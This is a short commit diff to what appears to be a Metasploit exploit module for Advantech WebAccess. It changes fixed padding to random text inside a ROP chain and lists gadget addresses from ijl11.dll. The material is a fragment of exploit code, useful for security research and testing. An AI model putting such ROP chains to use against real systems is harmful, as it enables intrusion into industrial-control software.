Rand padding

Author: jvazquez-r7

modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb

@@ -100,10 +100,10 @@ def rop_payload(code)
     xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
     # EBX = dwSize (0x1000)
     xpl << [0x60018084].pack("V") # POP EBP # RETN
-    xpl << [0x41414141].pack("V") # padding
-    xpl << [0x41414141].pack("V") # padding
-    xpl << [0x41414141].pack("V") # padding
-    xpl << [0x41414141].pack("V") # padding
+    xpl << rand_text_alphanumeric(4) # padding
+    xpl << rand_text_alphanumeric(4) # padding
+    xpl << rand_text_alphanumeric(4) # padding
+    xpl << rand_text_alphanumeric(4) # padding
     xpl << [0x60029f6c].pack("V") # .data ijl11.dll
     xpl << [0x60012288].pack("V") # POP ECX # RETN
     xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN)